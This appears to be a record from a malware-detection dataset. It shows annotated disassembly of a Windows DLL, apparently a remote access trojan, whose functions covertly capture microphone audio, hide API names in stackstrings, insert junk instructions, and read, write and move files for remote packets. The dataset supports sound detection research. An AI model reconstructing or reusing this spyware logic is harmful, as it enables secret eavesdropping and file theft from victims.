joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10001331
Capabilities:
Capture microphone audio
Create thread
Resume thread

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
push edi
mov edi, ecx
call dword [sym.imp.WINMM.dll_waveInGetNumDevs]
test eax, eax
je 0x10001398
xor esi, esi
push str.CreateThread
push str.KERNEL32.dll
mov dword [ebp - 4], esi
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
lea eax, [ebp - 4]
push eax
push 4
push edi
push section..text
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0x20000
push esi
push dword [ebp - 4]
mov dword [edi + 0x2c], eax
lea eax, [edi + 0x46]
lea ebx, [edi + 0x18]
push eax
push 0xffff
push ebx
call dword [sym.imp.WINMM.dll_waveInOpen]
test eax, eax
je 0x1000139c
xor al, al
jmp 0x10001405
lea esi, [edi + 0x30]
mov dword [ebp - 8], 2
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [esi]
mov ecx, dword [esi - 0x28]
push 0x20
mov dword [eax], ecx
mov eax, dword [esi]
mov ecx, dword [edi + 4]
mov dword [eax + 4], ecx
mov eax, dword [esi]
and dword [eax + 0x10], 0
mov eax, dword [esi]
and dword [eax + 0x14], 0
push dword [esi]
push dword [ebx]
call dword [sym.imp.WINMM.dll_waveInPrepareHeader]
add esi, 4
dec dword [ebp - 8]
jne 0x100013a6
mov eax, dword [edi + 0x1c]
push 0x20
push dword [edi + eax*4 + 0x30]
push dword [ebx]
call dword [sym.imp.WINMM.dll_waveInAddBuffer]
push dword [edi + 0x2c]
call dword [sym.imp.KERNEL32.dll_ResumeThread]
push dword [ebx]
call dword [sym.imp.WINMM.dll_waveInStart]
mov byte [edi + 0x44], 1
mov al, 1
pop edi
pop esi
pop ebx
leave
ret
Function at 0x10001890
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x28
push ebx
push ebp
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push str.EnterCriticalSection
mov esi, ecx
push str.KERNEL32.dll
call edi
mov ebx, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov ebp, eax
mov al, 0x65
mov cl, 0x6c
mov byte [esp + 0x11], al
mov dl, 0x72
mov byte [esp + 0x14], al
mov byte [esp + 0x21], al
mov byte [esp + 0x24], al
mov byte [esp + 0x2e], al
mov byte [esp + 0x15], cl
mov byte [esp + 0x1a], cl
mov byte [esp + 0x1b], cl
mov byte [esp + 0x2c], cl
lea eax, [esp + 0x20]
mov byte [esp + 0x12], dl
mov byte [esp + 0x26], dl
lea ecx, [esp + 0x10]
mov dl, 0x69
push eax
push ecx
mov byte [esp + 0x18], 0x6b
mov byte [esp + 0x1b], 0x6e
mov byte [esp + 0x1e], 0x33
mov byte [esp + 0x1f], 0x32
mov byte [esp + 0x20], 0x2e
mov byte [esp + 0x21], 0x64
mov byte [esp + 0x24], 0
mov byte [esp + 0x28], 0x4c
mov byte [esp + 0x2a], 0x61
mov byte [esp + 0x2b], 0x76
mov byte [esp + 0x2d], 0x43
mov byte [esp + 0x2f], dl
mov byte [esp + 0x30], 0x74
mov byte [esp + 0x31], dl
mov byte [esp + 0x32], 0x63
mov byte [esp + 0x33], 0x61
mov byte [esp + 0x35], 0x53
mov byte [esp + 0x37], 0x63
mov byte [esp + 0x38], 0x74
mov byte [esp + 0x39], dl
mov byte [esp + 0x3a], 0x6f
mov byte [esp + 0x3b], 0x6e
mov byte [esp + 0x3c], 0
call edi
push eax
call ebx
lea edi, [esi + 0x10]
mov ebx, eax
push edi
call ebp
mov edx, dword [esi + 4]
push 0x400
mov ecx, esi
mov dword [esi + 8], edx
call fcn.100017a0
push edi
call ebx
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x28
ret
Function at 0x100019a0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x2c
push ebx
push esi
mov esi, ecx
mov al, 0x69
mov cl, 0x6c
mov byte [esp + 0x1a], al
mov byte [esp + 0x1c], al
mov byte [esp + 0x1f], al
mov byte [esp + 0x24], al
mov byte [esp + 0x26], al
mov byte [esp + 0x2e], al
mov byte [esp + 0xd], cl
mov byte [esp + 0x12], cl
mov byte [esp + 0x13], cl
mov byte [esp + 0x1e], cl
mov byte [esp + 0x29], cl
lea eax, [esp + 0x18]
lea ecx, [esp + 8]
mov dl, 0x65
xor ebx, ebx
push eax
push ecx
mov dword [esi], 0x10013208
mov byte [esp + 0x10], 0x6b
mov byte [esp + 0x11], dl
mov byte [esp + 0x12], 0x72
mov byte [esp + 0x13], 0x6e
mov byte [esp + 0x14], dl
mov byte [esp + 0x16], 0x33
mov byte [esp + 0x17], 0x32
mov byte [esp + 0x18], 0x2e
mov byte [esp + 0x19], 0x64
mov byte [esp + 0x1c], bl
mov byte [esp + 0x20], 0x49
mov byte [esp + 0x21], 0x6e
mov byte [esp + 0x23], 0x74
mov byte [esp + 0x25], 0x61
mov byte [esp + 0x28], 0x7a
mov byte [esp + 0x29], dl
mov byte [esp + 0x2a], 0x43
mov byte [esp + 0x2b], 0x72
mov byte [esp + 0x2d], 0x74
mov byte [esp + 0x2f], 0x63
mov byte [esp + 0x30], 0x61
mov byte [esp + 0x32], 0x53
mov byte [esp + 0x33], dl
mov byte [esp + 0x34], 0x63
mov byte [esp + 0x35], 0x74
mov byte [esp + 0x37], 0x6f
mov byte [esp + 0x38], 0x6e
mov byte [esp + 0x39], bl
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
lea edx, [esi + 0x10]
mov dword [esi + 0xc], ebx
push edx
mov dword [esi + 4], ebx
mov dword [esi + 8], ebx
call eax
mov eax, esi
pop esi
pop ebx
add esp, 0x2c
ret
Function at 0x10001b00
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push edi
push str.EnterCriticalSection
mov ebx, ecx
push str.KERNEL32.dll
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
mov dword [ebp - 8], eax
mov al, 0x65
mov cl, 0x6c
mov byte [ebp - 0x1b], al
mov dl, 0x72
mov byte [ebp - 0x18], al
mov byte [ebp - 0x33], al
mov byte [ebp - 0x30], al
mov byte [ebp - 0x26], al
mov byte [ebp - 0x17], cl
mov byte [ebp - 0x12], cl
mov byte [ebp - 0x11], cl
mov byte [ebp - 0x28], cl
lea eax, [ebp - 0x34]
mov byte [ebp - 0x1a], dl
mov byte [ebp - 0x2e], dl
lea ecx, [ebp - 0x1c]
mov dl, 0x69
push eax
push ecx
mov byte [ebp - 0x1c], 0x6b
mov byte [ebp - 0x19], 0x6e
mov byte [ebp - 0x16], 0x33
mov byte [ebp - 0x15], 0x32
mov byte [ebp - 0x14], 0x2e
mov byte [ebp - 0x13], 0x64
mov byte [ebp - 0x10], 0
mov byte [ebp - 0x34], 0x4c
mov byte [ebp - 0x32], 0x61
mov byte [ebp - 0x31], 0x76
mov byte [ebp - 0x2f], 0x43
mov byte [ebp - 0x2d], dl
mov byte [ebp - 0x2c], 0x74
mov byte [ebp - 0x2b], dl
mov byte [ebp - 0x2a], 0x63
mov byte [ebp - 0x29], 0x61
mov byte [ebp - 0x27], 0x53
mov byte [ebp - 0x25], 0x63
mov byte [ebp - 0x24], 0x74
mov byte [ebp - 0x23], dl
mov byte [ebp - 0x22], 0x6f
mov byte [ebp - 0x21], 0x6e
mov byte [ebp - 0x20], 0
call esi
push eax
call edi
lea esi, [ebx + 0x10]
mov dword [ebp - 4], eax
push esi
mov dword [ebp - 0xc], esi
call dword [ebp - 8]
mov ecx, ebx
call fcn.10001e10
mov edi, dword [ebp + 0xc]
mov ecx, ebx
add eax, edi
push eax
call fcn.100016a0
cmp eax, 0xffffffff
jne 0x10001bf9
nop
nop
nop
sub eax, 0
add eax, 0
nop
nop
nop
push esi
call dword [ebp - 4]
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret 8
mov esi, dword [ebp + 8]
mov ecx, edi
mov edi, dword [ebx + 8]
mov edx, ecx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
nop
nop
nop
sub eax, 0
add eax, 0
nop
nop
nop
mov esi, dword [ebp + 0xc]
mov edx, dword [ebx + 8]
mov eax, dword [ebp - 0xc]
add edx, esi
push eax
mov dword [ebx + 8], edx
call dword [ebp - 4]
mov eax, esi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
Function at 0x10001c40
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push edi
mov ebx, ecx
push str.EnterCriticalSection
push str.KERNEL32.dll
mov dword [ebp - 0xc], ebx
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
mov dword [ebp - 8], eax
mov al, 0x65
mov cl, 0x6c
mov byte [ebp - 0x1f], al
mov dl, 0x72
mov byte [ebp - 0x1c], al
mov byte [ebp - 0x37], al
mov byte [ebp - 0x34], al
mov byte [ebp - 0x2a], al
mov byte [ebp - 0x1b], cl
mov byte [ebp - 0x16], cl
mov byte [ebp - 0x15], cl
mov byte [ebp - 0x2c], cl
lea eax, [ebp - 0x38]
mov byte [ebp - 0x1e], dl
mov byte [ebp - 0x32], dl
lea ecx, [ebp - 0x20]
mov dl, 0x69
push eax
push ecx
mov byte [ebp - 0x20], 0x6b
mov byte [ebp - 0x1d], 0x6e
mov byte [ebp - 0x1a], 0x33
mov byte [ebp - 0x19], 0x32
mov byte [ebp - 0x18], 0x2e
mov byte [ebp - 0x17], 0x64
mov byte [ebp - 0x14], 0
mov byte [ebp - 0x38], 0x4c
mov byte [ebp - 0x36], 0x61
mov byte [ebp - 0x35], 0x76
mov byte [ebp - 0x33], 0x43
mov byte [ebp - 0x31], dl
mov byte [ebp - 0x30], 0x74
mov byte [ebp - 0x2f], dl
mov byte [ebp - 0x2e], 0x63
mov byte [ebp - 0x2d], 0x61
mov byte [ebp - 0x2b], 0x53
mov byte [ebp - 0x29], 0x63
mov byte [ebp - 0x28], 0x74
mov byte [ebp - 0x27], dl
mov byte [ebp - 0x26], 0x6f
mov byte [ebp - 0x25], 0x6e
mov byte [ebp - 0x24], 0
call esi
push eax
call edi
lea esi, [ebx + 0x10]
mov dword [ebp - 4], eax
push esi
mov dword [ebp - 0x10], esi
call dword [ebp - 8]
mov ecx, ebx
call fcn.10001e00
mov edi, dword [ebp + 0xc]
cmp edi, eax
jbe 0x10001d31
nop
nop
nop
sub eax, 0
add eax, 0
nop
nop
nop
push esi
call dword [ebp - 4]
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
mov ecx, ebx
call fcn.10001e10
cmp edi, eax
jbe 0x10001d48
mov ecx, ebx
call fcn.10001e10
mov dword [ebp + 0xc], eax
mov edi, eax
test edi, edi
je 0x10001d88
mov esi, dword [ebx + 4]
mov ecx, edi
mov edi, dword [ebp + 8]
mov edx, ecx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, dword [ebx + 4]
mov ecx, ebx
call fcn.10001e00
mov esi, dword [ebp + 0xc]
sub eax, esi
push eax
lea eax, [edi + esi]
push eax
push edi
call dword [sym.imp.MSVCRT.dll_memmove]
mov eax, dword [ebx + 8]
add esp, 0xc
sub eax, esi
mov dword [ebx + 8], eax
nop
nop
nop
sub eax, 0
add eax, 0
add ebx, 0
add esp, 0xb
sub esp, 0xb
add ebx, 0
nop
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1b207
nop
nop
push 0x3640e
mov eax, dword fs:[0]
push eax
nop
nop
mov dword fs:[0], esp
pop eax
nop
mov dword fs:[0], eax
pop eax
nop
pop eax
nop
pop eax
nop
pop eax
nop
mov ebp, eax
nop
nop
mov esi, dword [ebp - 0xc]
mov ecx, esi
call fcn.10001e10
push eax
mov ecx, esi
call fcn.100017a0
mov ecx, dword [ebp - 0x10]
push ecx
call dword [ebp - 4]
mov eax, dword [ebp + 0xc]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
Function at 0x10002a31
Capabilities:
Get file size

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
push ebx
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov esi, str.KERNEL32.dll
push str.lstrlenA
mov dword [ebp - 0xc], ecx
push esi
call edi
mov ebx, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.CloseHandle
push esi
mov dword [ebp - 8], eax
call edi
push eax
call ebx
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0xc]
add eax, 0x20
push 0x104
push 0
push eax
mov dword [ebp - 4], eax
call sub.MSVCRT.dll_memset
push dword [ebp + 8]
push dword [ebp - 4]
call sub.MSVCRT.dll_strcpy
add esp, 0x14
push 0
push 0x80
push 3
push 0
push 1
push 0x80000000
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
cmp eax, 0xffffffff
mov dword [ebp - 4], eax
jne 0x10002ab8
xor eax, eax
jmp 0x10002b44
lea ecx, [ebp - 0x14]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_GetFileSize]
push dword [ebp - 4]
mov dword [ebp - 0x18], eax
call dword [ebp - 0x10]
push dword [ebp + 8]
call dword [ebp - 8]
add eax, 0xa
push str.LocalAlloc
push esi
mov dword [ebp - 4], eax
call edi
push eax
call ebx
push dword [ebp - 4]
push 0x40
call eax
push dword [ebp - 4]
mov esi, eax
push 0
push esi
call sub.MSVCRT.dll_memset
mov byte [esi], 0x69
mov eax, dword [ebp - 0x14]
add esp, 0xc
mov dword [esi + 1], eax
mov eax, dword [ebp - 0x18]
push dword [ebp + 8]
mov dword [esi + 5], eax
call dword [ebp - 8]
inc eax
push eax
lea eax, [esi + 9]
push dword [ebp + 8]
push eax
call sub.MSVCRT.dll_memcpy
mov ecx, dword [ebp - 0xc]
add esp, 0xc
push dword [ebp - 4]
push esi
call fcn.100076a0
push str.LocalFree
push str.KERNEL32.dll
mov dword [ebp + 8], eax
call edi
push eax
call ebx
push esi
call eax
mov eax, dword [ebp + 8]
pop edi
pop esi
pop ebx
leave
ret 4
Function at 0x10002b4b
Capabilities:
Read file on windows

Disassembly:
sub esp, 0xc
push esi
mov esi, dword [esp + 0x14]
mov dword [esp + 0xc], ecx
cmp dword [esi + 4], 0xffffffff
jne 0x10002b69
call fcn.10002c5c
xor eax, eax
jmp 0x10002c55
push 0
push 0x80
push 3
push 0
push 1
add ecx, 0x20
push 0x80000000
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
cmp eax, 0xffffffff
mov dword [esp + 4], eax
jne 0x10002b95
or eax, eax
jmp 0x10002c55
push ebx
push ebp
push edi
mov edi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov ebp, str.KERNEL32.dll
push str.SetFilePointer
push ebp
call edi
mov ebx, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push 0
push esi
push dword [esi + 4]
push dword [esp + 0x1c]
call eax
and dword [esp + 0x14], 0
push str.LocalAlloc
push ebp
call edi
push eax
call ebx
push 0x2000
push 0x40
call eax
mov esi, eax
push 8
push dword [esp + 0x24]
lea eax, [esi + 1]
mov byte [esi], 0x6a
push eax
call sub.MSVCRT.dll_memcpy
add esp, 0xc
lea eax, [esp + 0x14]
push 0
push eax
lea eax, [esi + 9]
push 0x1ff7
push eax
push dword [esp + 0x20]
call dword [sym.imp.KERNEL32.dll_ReadFile]
push str.CloseHandle
push ebp
call edi
push eax
call ebx
push dword [esp + 0x10]
call eax
mov eax, dword [esp + 0x14]
test eax, eax
jbe 0x10002c37
mov ecx, dword [esp + 0x18]
add eax, 9
push eax
push esi
call fcn.100076a0
mov dword [esp + 0x20], eax
jmp 0x10002c40
mov ecx, dword [esp + 0x18]
call fcn.10002c5c
push str.LocalFree
push ebp
call edi
push eax
call ebx
push esi
call eax
mov eax, dword [esp + 0x20]
pop edi
pop ebp
pop ebx
pop esi
add esp, 0xc
ret 4
Function at 0x10002fe8
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x164
and byte [ebp - 4], 0
and byte [ebp - 0x12], 0
push ebx
push esi
lea eax, [ebp - 0x20]
push edi
push eax
lea eax, [ebp - 0x10]
mov esi, ecx
push eax
mov byte [ebp - 0x10], 0x6b
mov byte [ebp - 0xf], 0x65
mov byte [ebp - 0xe], 0x72
mov byte [ebp - 0xd], 0x6e
mov byte [ebp - 0xc], 0x65
mov byte [ebp - 0xb], 0x6c
mov byte [ebp - 0xa], 0x33
mov byte [ebp - 9], 0x32
mov byte [ebp - 8], 0x2e
mov byte [ebp - 7], 0x64
mov byte [ebp - 6], 0x6c
mov byte [ebp - 5], 0x6c
mov byte [ebp - 0x20], 0x46
mov byte [ebp - 0x1f], 0x69
mov byte [ebp - 0x1e], 0x6e
mov byte [ebp - 0x1d], 0x64
mov byte [ebp - 0x1c], 0x46
mov byte [ebp - 0x1b], 0x69
mov byte [ebp - 0x1a], 0x72
mov byte [ebp - 0x19], 0x73
mov byte [ebp - 0x18], 0x74
mov byte [ebp - 0x17], 0x46
mov byte [ebp - 0x16], 0x69
mov byte [ebp - 0x15], 0x6c
mov byte [ebp - 0x14], 0x65
mov byte [ebp - 0x13], 0x41
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
lea edi, [esi + 0x20]
push 0x104
push 0
push edi
mov dword [ebp - 0x24], eax
call sub.MSVCRT.dll_memset
mov ebx, dword [ebp + 8]
lea eax, [ebx + 8]
push eax
push edi
call sub.MSVCRT.dll_strcpy
mov eax, dword [ebx + 4]
add esp, 0x14
mov dword [esi + 0x128], eax
and dword [esi + 0x12c], 0
push edi
mov ecx, esi
call fcn.100035f3
lea eax, [ebp - 0x164]
push eax
push edi
call dword [ebp - 0x24]
mov edi, eax
cmp edi, 0xffffffff
je 0x100030e5
mov eax, dword [esi + 0x1c]
cmp eax, 4
je 0x100030e5
cmp eax, 2
je 0x100030e5
cmp eax, 6
je 0x100030e5
push 0x6d
mov ecx, esi
call fcn.10002c9f
jmp 0x100030ec
mov ecx, esi
call fcn.1000310d
push str.FindClose
push str.KERNEL32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push edi
call eax
pop edi
pop esi
pop ebx
leave
ret 4
Function at 0x1000310d
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x178
and byte [ebp - 0xc], 0
and byte [ebp - 0x1a], 0
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea eax, [ebp - 0x28]
push edi
push eax
lea eax, [ebp - 0x18]
mov ebx, ecx
push eax
mov dword [ebp - 0x2c], ebx
mov byte [ebp - 0x18], 0x6b
mov byte [ebp - 0x17], 0x65
mov byte [ebp - 0x16], 0x72
mov byte [ebp - 0x15], 0x6e
mov byte [ebp - 0x14], 0x65
mov byte [ebp - 0x13], 0x6c
mov byte [ebp - 0x12], 0x33
mov byte [ebp - 0x11], 0x32
mov byte [ebp - 0x10], 0x2e
mov byte [ebp - 0xf], 0x64
mov byte [ebp - 0xe], 0x6c
mov byte [ebp - 0xd], 0x6c
mov byte [ebp - 0x28], 0x46
mov byte [ebp - 0x27], 0x69
mov byte [ebp - 0x26], 0x6e
mov byte [ebp - 0x25], 0x64
mov byte [ebp - 0x24], 0x46
mov byte [ebp - 0x23], 0x69
mov byte [ebp - 0x22], 0x72
mov byte [ebp - 0x21], 0x73
mov byte [ebp - 0x20], 0x74
mov byte [ebp - 0x1f], 0x46
mov byte [ebp - 0x1e], 0x69
mov byte [ebp - 0x1d], 0x6c
mov byte [ebp - 0x1c], 0x65
mov byte [ebp - 0x1b], 0x41
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
mov ecx, dword [ebx + 0x1c]
mov edx, ecx
dec edx
dec edx
je 0x100031cf
dec edx
dec edx
je 0x100031c6
dec edx
dec edx
je 0x100031bd
mov dword [ebp - 4], ecx
jmp 0x100031d6
mov dword [ebp - 4], 5
jmp 0x100031d6
mov dword [ebp - 4], 3
jmp 0x100031d6
mov dword [ebp - 4], 1
lea edx, [ebp - 0x178]
lea ecx, [ebx + 0x20]
push edx
push ecx
call eax
mov dword [ebp - 8], eax
push 9
lea eax, [ebp - 0x38]
push 0
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
cmp dword [ebp - 8], 0xffffffff
mov byte [ebp - 0x38], 0x70
je 0x1000325f
cmp dword [ebp - 4], 1
jne 0x10003236
lea eax, [ebp - 0x15c]
push 4
push eax
lea eax, [ebp - 0x37]
push eax
call sub.MSVCRT.dll_memcpy
lea eax, [ebp - 0x158]
push 4
push eax
lea eax, [ebp - 0x33]
push eax
call sub.MSVCRT.dll_memcpy
add esp, 0x18
mov dword [ebp - 4], 3
jmp 0x10003276
push 3
pop ebx
cmp dword [ebp - 4], ebx
je 0x1000325f
cmp dword [ebp - 4], 5
jne 0x10003276
or dword [ebp - 4], 0xffffffff
lea eax, [ebp - 4]
push 4
push eax
lea eax, [ebp - 0x33]
push eax
call sub.MSVCRT.dll_memcpy
add esp, 0xc
mov dword [ebp - 4], ebx
jmp 0x10003276
push 8
lea eax, [ebp - 0x37]
push 0
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
mov dword [ebp - 4], 2
mov ebx, str.KERNEL32.dll
push str.FindClose
push ebx
call esi
push eax
call edi
push dword [ebp - 8]
call eax
mov eax, dword [ebp - 0x2c]
push 0
push 0x80
add eax, 0x20
push dword [ebp - 4]
push 0
push 2
push 0x40000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
cmp eax, 0xffffffff
mov dword [ebp - 8], eax
jne 0x100032c6
mov eax, dword [ebp - 0x2c]
and dword [eax + 0x128], 0
and dword [eax + 0x12c], 0
jmp 0x100032e4
push str.CloseHandle
push ebx
call esi
push eax
call edi
push dword [ebp - 8]
call eax
mov ecx, dword [ebp - 0x2c]
lea eax, [ebp - 0x38]
push 9
push eax
call fcn.100076a0
pop edi
pop esi
pop ebx
leave
ret
Function at 0x100032e9
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
push ebx
push esi
mov esi, dword [ebp + 8]
push edi
push 0
push 0x80
mov eax, dword [esi]
push 3
mov dword [ebp - 0x10], ecx
push 0
mov dword [ebp - 8], eax
mov eax, dword [esi + 4]
push 2
add ecx, 0x20
push 0x40000000
push ecx
mov dword [ebp + 8], eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push str.SetFilePointer
push str.KERNEL32.dll
mov dword [ebp - 4], eax
call edi
mov ebx, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
lea ecx, [ebp - 8]
push 0
push ecx
push dword [ebp + 8]
push dword [ebp - 4]
call eax
lea eax, [ebp - 0xc]
push 0
push eax
mov eax, dword [ebp + 0xc]
add eax, 0xfffffff8
add esi, 8
push eax
push esi
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_WriteFile]
push str.CloseHandle
push str.KERNEL32.dll
call edi
push eax
call ebx
push dword [ebp - 4]
call eax
mov eax, dword [ebp - 0xc]
push 4
add dword [ebp + 8], eax
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x1b]
push eax
mov byte [ebp - 0x1c], 0x70
call sub.MSVCRT.dll_memcpy
lea eax, [ebp + 8]
push 4
push eax
lea eax, [ebp - 0x17]
push eax
call sub.MSVCRT.dll_memcpy
mov ecx, dword [ebp - 0x10]
add esp, 0x18
lea eax, [ebp - 0x1c]
push 9
push eax
call fcn.100076a0
pop edi
pop esi
pop ebx
leave
ret 8

Function at 0x100033f2
Capabilities:
Move file

Disassembly:
push esi
push edi
push str.lstrlenA
mov edi, ecx
push str.KERNEL32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, dword [esp + 0xc]
push esi
call eax
lea eax, [eax + esi + 1]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_MoveFileA]
push 0x71
mov ecx, edi
call fcn.10002c9f
pop edi
pop esi
ret 4
Function at 0x100035f3
Capabilities:
Create directory

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10013230
push 0x10011d78
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x1c
push ebx
push esi
push edi
mov dword [ebp - 0x18], esp
push str.GetFileAttributesA
mov ebx, str.KERNEL32.dll
push ebx
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
call esi
push eax
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call edi
mov dword [ebp - 0x20], eax
push str.lstrlenA
push ebx
call esi
push eax
call edi
and dword [ebp - 4], 0
push dword [ebp + 8]
call eax
inc eax
push eax
call dword [sym.imp.MSVCRT.dll_malloc]
pop ecx
mov edi, eax
mov dword [ebp - 0x2c], edi
test edi, edi
je 0x10003766
nop
nop
nop
sub eax, 0
add eax, 0
nop
nop
nop
push dword [ebp + 8]
push edi
call dword [0x10019f80]
mov esi, edi
mov dword [ebp - 0x1c], esi
cmp byte [edi], 0x5c
jne 0x100036cd
lea eax, [edi + 1]
cmp byte [eax], 0x5c
jne 0x100036cd
mov esi, eax
mov dword [ebp - 0x1c], esi
inc esi
mov dword [ebp - 0x1c], esi
mov al, byte [esi]
test al, al
je 0x100036a8
cmp al, 0x5c
je 0x100036a8
push esi
call dword [0x10019bd8]
mov esi, eax
jmp 0x10003690
cmp byte [esi], 0
je 0x100036b1
inc esi
mov dword [ebp - 0x1c], esi
mov al, byte [esi]
test al, al
je 0x100036c6
cmp al, 0x5c
je 0x100036c6
push esi
call dword [0x10019bd8]
mov esi, eax
jmp 0x100036ae
cmp byte [esi], 0
je 0x100036ec
jmp 0x100036e8
lea eax, [edi + 1]
cmp byte [eax], 0x3a
jne 0x100036ec
mov esi, eax
mov dword [ebp - 0x1c], esi
inc esi
mov dword [ebp - 0x1c], esi
mov al, byte [esi]
test al, al
je 0x100036ec
cmp al, 0x5c
jne 0x100036ec
inc esi
mov dword [ebp - 0x1c], esi
or ebx, 0xffffffff
mov al, byte [esi]
test al, al
je 0x10003746
cmp al, 0x5c
jne 0x10003738
and byte [esi], 0
push edi
call dword [ebp - 0x20]
mov dword [ebp - 0x24], eax
cmp eax, ebx
jne 0x10003721
push 0
push edi
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
jne 0x10003735
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jmp 0x10003726
and eax, 0x10
cmp al, 0x10
je 0x10003735
push edi
call dword [sym.imp.MSVCRT.dll_free]
pop ecx
mov dword [ebp - 4], ebx
jmp 0x1000376a
mov byte [esi], 0x5c
push esi
call dword [0x10019bd8]
mov esi, eax
mov dword [ebp - 0x1c], esi
jmp 0x100036ef
mov dword [ebp - 4], ebx
push edi
call dword [sym.imp.MSVCRT.dll_free]
pop ecx
mov al, 1
jmp 0x1000376c
or dword [ebp - 4], 0xffffffff
xor al, al
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
leave
ret 4